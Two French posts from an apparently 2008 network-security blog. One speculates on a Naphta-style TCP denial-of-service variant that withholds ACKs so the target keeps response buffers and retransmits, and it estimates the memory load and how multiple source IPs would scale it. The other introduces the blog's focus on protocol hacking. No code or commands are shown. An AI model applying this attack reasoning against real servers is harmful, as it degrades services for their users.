Une des dernières hypothèses sur le sujet était une évolution de Naphta, avec en plus l'envoi d'un payload applicatif vers la cible. En n'acquittant pas la réponse obtenue à une requête applicative, la cible va réémettre de nombreuses fois sa réponse, saturant un peu plus sa bande passante ainsi que sa mémoire (le tampon de réponse n'étant jamais libéré).

Faisons un rapide calcul. Soit une adresse IP ouvrant 60 000 connexions vers un serveur Apache. Imaginons que chacune de ces connexions entraîne l'émission d'une réponse HTTP d'environ 2 ko (chiffre arbitraire, mais je le prends comme moyenne acceptable). 60 000 x 2, soit 120 Mo. Outre le fait que je vais me prendre 120 Mo de trafic dans la tronche, la cible risque fort de garder 120 Mo de tampon alloués en mémoire. Et oui, puisque je n'acquitterai pas (au sens TCP ACK), la cible va garder ça dans un tampon, et réémettre à certains intervalles ce packet (et encore me balancer 120 Mo dans la tronche).

Vous allez me dire : la cible supportera certainement 120 Mo dans sa mémoire et sur sa bande passante. Par contre moi ... Maintenant, multipliez ce nombre par 10. 10 machines lançant cette attaque. En cherchant un peu, il est possible (hypothèse de ma part) que les chercheurs en question utilisent plusieurs adresses IP sources pour leur attaque. D'abord pour contourner la limitation de bande passante de l'attaquant, ensuite pour contourner la limitation des 60 000 (65 535, en fait) connexions correspondant au tuple adresseSource,portSource,adresseDestination,portDestination. Là, on atteint 1 Go pour 10 IP. 10 Go pour 100 IP. Ca à l'air pas mal.

Ainsi, j'ai développé un programme en utilisant mon framework préféré (Net::Frame) pour tester l'efficacité des ces attaques. Mais comme ce soir, j'ai la flemme de mettre ça au propre, ce sera peut-être l'objet d'un autre billet.

Il était temps ...

GR — Tue, 14 Oct 2008 19:03:00 +0200

Et oui, il était temps pour moi d'avoir un blog. Je ne vois pas pourquoi, moi, j'en n'aurais pas un. Alors sans hésitations, j'ai pris DotClear.

Ceux qui me connaissent se demanderont pourquoi j'ai pris un truc en Pé-Ash-Pé. Ben, parce que DotClear, c'est simple :) Et j'avais pas envie de chercher pendant 3 jours une version en Perl.

Sur ce blog, Je vais me concentrer sur le 'hack' de protocoles réseaux. Pourquoi ? parce que j'aime ça :) je montrerais des exemples concret d'utilisation de mon framework de construction et d'injection de packets réseau préféré : Net::Frame. Vous me direz : c'est quoi le hack de protocole réseau ? Eh bien c'est l'art d'exploiter les failles dans le design des protocoles, afin de faire faire des choses non-prévues dès le début. C'est aussi comment exploiter les failles d'implémentation, ou encore comment fuzzer un protocole.

Vous l'aurez compris, c'est un blog dédié à la couche réseau (and related). J'espère avoir l'inspiration suffisamment souvent, et sur des sujets suffisamment intéressant pour faire vivre ce 'yet another security blog'. Bonne lecture.